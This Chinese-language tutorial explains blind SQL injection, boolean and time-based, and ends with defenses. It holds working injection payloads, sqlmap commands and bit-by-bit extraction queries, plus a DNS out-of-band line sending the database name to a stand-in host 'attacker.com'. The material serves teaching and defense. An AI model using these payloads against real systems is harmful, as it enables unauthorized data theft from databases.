SQL注入之盲注技術詳解

SQL注入之盲注技術詳解

  • 一、盲注基本概念
    • 盲注特點:
  • 二、盲注主要類型
    • 1. 布爾盲注
      • 判斷依據:
    • 2. 時間盲注
      • 判斷依據:
  • 三、布爾盲注詳細技術
    • 1. 識別布爾盲注
    • 2. 數據提取技術
      • (1) 判斷數據庫類型
      • (2) 獲取數據庫名長度
      • (3) 逐字符獲取數據庫名
      • (4) 獲取表名
      • (5) 自動化工具
  • 四、時間盲注詳細技術
    • 1. 識別時間盲注
    • 2. 各數據庫延時函數
    • 2. 數據提取技術
      • (1) 判斷條件是否成立
      • (2) 逐位獲取數據
      • (3) 使用case when語句
      • (4) 自動化工具
  • 五、盲注高級技巧
    • 1. 二分法加速盲注
    • 2. 位運算盲注
    • 3. DNS外帶技術(OOB)
    • 4. 正則表達式盲注
  • 六、盲注防御措施

一、盲注基本概念

盲注(Blind SQL Injection)是一種特殊的SQL注入技術,當應用程序不會直接返回數據庫錯誤信息或查詢結果時使用。與常規注入不同,盲注需要通過應用程序的間接響應(如布爾狀態、時間延遲)來推斷數據。

盲注特點:

  • 無直接錯誤信息回顯
  • 無查詢結果直接顯示
  • 需要通過邏輯判斷或事件延遲獲取數據
  • 攻擊速度較慢但危害性相同

二、盲注主要類型

1. 布爾盲注

通過頁面返回的真假狀態判斷SQL語句執行結果

判斷依據:

  • 頁面內容變化
  • http狀態碼變化
  • 返回數據長度變化

2. 時間盲注

通過數據庫響應時間延遲判斷SQL語句執行結果

判斷依據:

  • 頁面返回時間差異
  • 使用延時函數如sleep(),benchmark()

三、布爾盲注詳細技術

1. 識別布爾盲注

測試語句:

id=1' and 1=1 --+  (返回正常頁面)
id=1' and 1=2 --+  (返回異常或不同頁面)

2. 數據提取技術

(1) 判斷數據庫類型

and (select count(*) from information_schema.tables)>0 -- MySQL
and (select count(*) from sysobjects)>0 -- SQL Server

(2) 獲取數據庫名長度

and length(database())=5 -- 判斷當前數據庫名長度是否為5

(3) 逐字符獲取數據庫名

and substr(database(),1,1)='a' -- 判斷第一個字符是否為a
and ascii(substr(database(),1,1))=97 -- 判斷第一個字符ASCII碼是否為97(a)

(4) 獲取表名

and (select count(*) from information_schema.tables where table_schema=database() and substr(table_name,1,1)='u')>0

(5) 自動化工具

使用sqlmap進行布爾盲注:

sqlmap -u "http://example.com/?id=1" --technique=B --dbs

四、時間盲注詳細技術

1. 識別時間盲注

id=1' and sleep(5) --+  (觀察響應是否延遲5秒)

2. 各數據庫延時函數

數據庫延時函數
MySQLSLEEP(5), BENCHMARK(1000000,MD5(1))
SQL ServerWAITFOR DELAY ‘0:0:5’
PostgreSQLpg_sleep(5)
OracleDBMS_LOCK.SLEEP(5)

2. 數據提取技術

(1) 判斷條件是否成立

id=1' and if(ascii(substr(database(),1,1))=97,sleep(5),1) --+

(2) 逐位獲取數據

id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)>100,sleep(5),1) --+

(3) 使用case when語句

id=1' and (case when (ascii(substr(database(),1,1))=97) then sleep(5) else 1 end) --+

(4) 自動化工具

使用sqlmap進行時間盲注:

sqlmap -u "http://example.com/?id=1" --technique=T --dbs

五、盲注高級技巧

1. 二分法加速盲注

and ascii(substr(database(),1,1))>128  -- 高位判斷
and ascii(substr(database(),1,1))>64   -- 中位判斷
and ascii(substr(database(),1,1))>96   -- 低位判斷

2. 位運算盲注

and (ascii(substr(database(),1,1))>>1)&1=1  -- 判斷第一位

3. DNS外帶技術(OOB)

-- MySQL (需要load_file權限)
and (select load_file(concat('\\\\',(select database()),'.attacker.com\\share\\')))

4. 正則表達式盲注

and (select database()) regexp '^a'  -- 判斷數據庫名是否以a開頭

六、盲注防御措施

  1. 使用預編譯語句
  2. 輸入驗證:
    白名單驗證
    類型強制轉換
  3. 錯誤處理:
    同意錯誤頁面
    不返回詳細錯誤信息
  4. 權限控制:
    最小權限原則
    禁用危險函數
  5. WAF防護:
    識別并攔截盲注特征
    頻率限制

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/74111.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/74111.shtml
英文地址,請注明出處:http://en.pswp.cn/web/74111.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

OpenCV 圖形API(3)高層次設計概覽

操作系統:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 編程語言:C11 描述 G-API 是一個異構框架,提供了統一的 API 來使用多個支持的后端編程圖像處理流水線。 關鍵的設計理念是在指定使用哪些內核和設備時保持流…

阿里云Tair KVCache:打造以緩存為中心的大模型Token超級工廠

一、Tair KVCache 簡介 Tair KVCache 是阿里云瑤池旗下云數據庫 Tair 面向大語言模型推理場景推出的 KVCache 緩存加速服務。 隨著互聯網技術的演進與流量規模的激增,緩存技術逐漸成為系統架構的核心組件。該階段催生了 Redis 等開源緩存數據庫,阿里巴巴…

Open GL ES ->GLSurfaceView正交投影與透視投影方法中近遠平面取值參考

坐標系 OpenGL ES使用右手坐標系&#xff0c;相機默認朝向負z方向 相機位置|vz軸<----- 0 -----> -near -----> -far -----不可見 可見區域 不可見裁剪規則 只有z值在[-near, -far]范圍內的物體可見&#xff0c; 當z > -near&#xff08;在近平面前&#…

iOS自定義collection view的page size(width/height)分頁效果

前言 想必大家工作中或多或少會遇到下圖樣式的UI需求吧 像這種cell長度不固定&#xff0c;并且還能實現的分頁效果UI還是很常見的 實現 我們這里實現主要采用collection view&#xff0c;實現的方式是自定義一個UICollectionViewFlowLayout的子類&#xff0c;在這個類里對…

Java高頻面試之并發編程-01

hello啊&#xff0c;各位觀眾姥爺們&#xff01;&#xff01;&#xff01;本baby今天來報道了&#xff01;哈哈哈哈哈嗝&#x1f436; 面試官&#xff1a;并行跟并發有什么區別&#xff1f; 并發 vs 并行&#xff1a;核心區別與場景 1. 定義對比 維度并發&#xff08;Concu…

從零開始學Rust:所有權(Ownership)機制精要

文章目錄 第四章&#xff1a;Ownership 所有權核心概念關鍵機制引用與借用&#xff08;Reference & Borrowing&#xff09;懸垂引用問題錯誤示例分析解決方案引用安全規則 切片&#xff08;Slice&#xff09;內存安全保證 第四章&#xff1a;Ownership 所有權 Ownership i…

一旦懂得,有趣得緊1:詞根tempt-(嘗試)的兩種解法

詞根tempt-嘗試 tempt vt.引誘&#xff1b;誘惑&#xff1b;慫恿&#xff1b;利誘&#xff1b;勸誘&#xff1b;鼓動 temptation n.引誘&#xff1b;誘惑 // tempt v.引誘 -ation 名詞后綴 attempt v.&n.嘗試&#xff0c;試圖 // at- 加強 tempt 嘗試contempt n.蔑視&am…

召喚數學精靈

1.召喚數學精靈 - 藍橋云課 問題描述 數學家們發現了兩種用于召喚強大的數學精靈的儀式&#xff0c;這兩種儀式分別被稱為累加法儀式 A(n) 和累乘法儀式 B(n)。 累加法儀式 A(n) 是將從1到 n 的所有數字進行累加求和&#xff0c;即&#xff1a; A(n)12?n 累乘法儀式 B(n) …

C語言實現查表8位SAE J1850 CRC

背景&#xff1a; 在做霍爾采集電流的時候&#xff0c;CSSV1500N 系列電流傳感器通過can數據輸出的報文需要做crc校驗&#xff0c;嵌入式常用查表的方式&#xff0c;所以就問了下deepseek怎么算這個CRC. 以下是使用 查表法&#xff08;Lookup Table&#xff09; 在C語言中高效…

【UE5.3.2】初學1:適合初學者的入門路線圖和建議

3D人物的動作制作 大神分析:3D人物的動作制作通常可以分為以下幾個步驟: 角色綁定(Rigging):將3D人物模型綁定到一個骨骼結構上,使得模型能夠進行動畫控制。 動畫制作(Animation):通過控制骨骼結構,制作出人物的各種動作,例如走路、跳躍、打斗等。 動畫編輯(Ani…

mapreduce的工作原理

MapReduce 是 Hadoop 中實現分布式并行計算的核心框架&#xff0c;其工作原理基于“分而治之”的思想&#xff0c;將大規模數據處理任務分解為 Map&#xff08;映射&#xff09; 和 Reduce&#xff08;歸約&#xff09; 兩個階段。 一、MapReduce 核心流程 1. Input 階段 - 輸…

換季推廣不好做?DeepBI用一鍵托管的方式,讓廣告投放跑得快、準、穩

每年換季&#xff0c;尤其是春夏、秋冬交替的節點&#xff0c;都是電商平臺上各類季節性商品扎堆上新的高峰期。無論是服飾鞋包、家居戶外&#xff0c;還是母嬰用品、美妝護膚&#xff0c;許多商品都有著強烈的“時間窗口效應”——一旦錯過了熱賣期&#xff0c;流量下滑迅速&a…

Qt5.14.2+Cmake使用mingw64位編譯opencv4.5成功圖文教程

? 一、下載安裝相關編譯環境軟件 1.1 Python3.8&#xff1a;安裝路徑:C:\Users\Administrator\AppData\Local\Programs\Python\Python38-32 安裝包&#xff1a;python3.8.exe 1.2 QT5.14.2&#xff1a;安裝路徑:C:\Qt\Qt5.14.2 1.3 opencv4.5&#xff1a;解壓路徑D:\o…

OpenBMC:BmcWeb 處理http請求3 字典樹查找節點

OpenBMC:BmcWeb 處理http請求2 查找路由對象-CSDN博客 findRouteByPerMethod實際上是調用了perMethod.trie.find(url);來查找路由對象的 class Trie {struct FindResult{unsigned ruleIndex;std::vector<std::string> params;};FindResult findHelper(const std::string…

Openssl自簽證書相關知識

1.前提 檢查是否已安裝 openssl $ which openssl /usr/bin/openssl 2.建立CA授權中心 2.1.生成ca私鑰(ca-prikey.pem) 初始化 OpenSSL 證書頒發機構(CA)的序列號文件 在生成證書時,ca.srl 的初始序列號需正確初始化(如 01),否則可能導致證書沖突 這會將 01 顯示在屏幕…

K個一組翻轉鏈表--囊括半數鏈表題的思想

K 個一組翻轉鏈表 這道算法題就是鏈表多個算法思想的結合&#xff0c;解決這一道leetcodehot100的鏈表題至少能做一半了 大概有一下幾個點 1.鏈表定位 2.鏈表翻轉 3.哨兵節點 4.鏈表合并 看看題目 給你鏈表的頭節點 head &#xff0c;每 k 個節點一組進行翻轉&#xff…

Flutter敏感詞過濾實戰:基于AC自動機的高效解決方案

Flutter敏感詞過濾實戰&#xff1a;基于AC自動機的高效解決方案 在社交、直播、論壇等UGC場景中&#xff0c;敏感詞過濾是保障平臺安全的關鍵防線。本文將深入解析基于AC自動機的Flutter敏感詞過濾實現方案&#xff0c;通過原理剖析實戰代碼性能對比&#xff0c;帶你打造毫秒級…

UML中的用例圖和類圖

在UML&#xff08;統一建模語言&#xff09;中&#xff0c;**用例圖&#xff08;Use Case Diagram&#xff09;和類圖&#xff08;Class Diagram&#xff09;**是兩種最常用的圖表類型&#xff0c;分別用于描述系統的高層功能和靜態結構。以下是它們的核心概念、用途及區別&…

深入解析:HarmonyOS Design設計語言的核心理念

深入解析&#xff1a;HarmonyOS Design設計語言的核心理念 在當今數字化迅速發展的時代&#xff0c;用戶對操作系統的體驗要求越來越高。華為的HarmonyOS&#xff08;鴻蒙操作系統&#xff09;應運而生&#xff0c;旨在為用戶提供全場景、全設備的智慧體驗。其背后的設計語言—…

Vue 類與樣式

數據綁定的一個常見需求場景是操縱元素的 CSS class 列表和內聯樣式。因為 class 和 style 都是 attribute&#xff0c;我們可以和其他 attribute 一樣使用 v-bind 將它們和動態的字符串綁定。但是&#xff0c;在處理比較復雜的綁定時&#xff0c;通過拼接生成字符串是麻煩且易…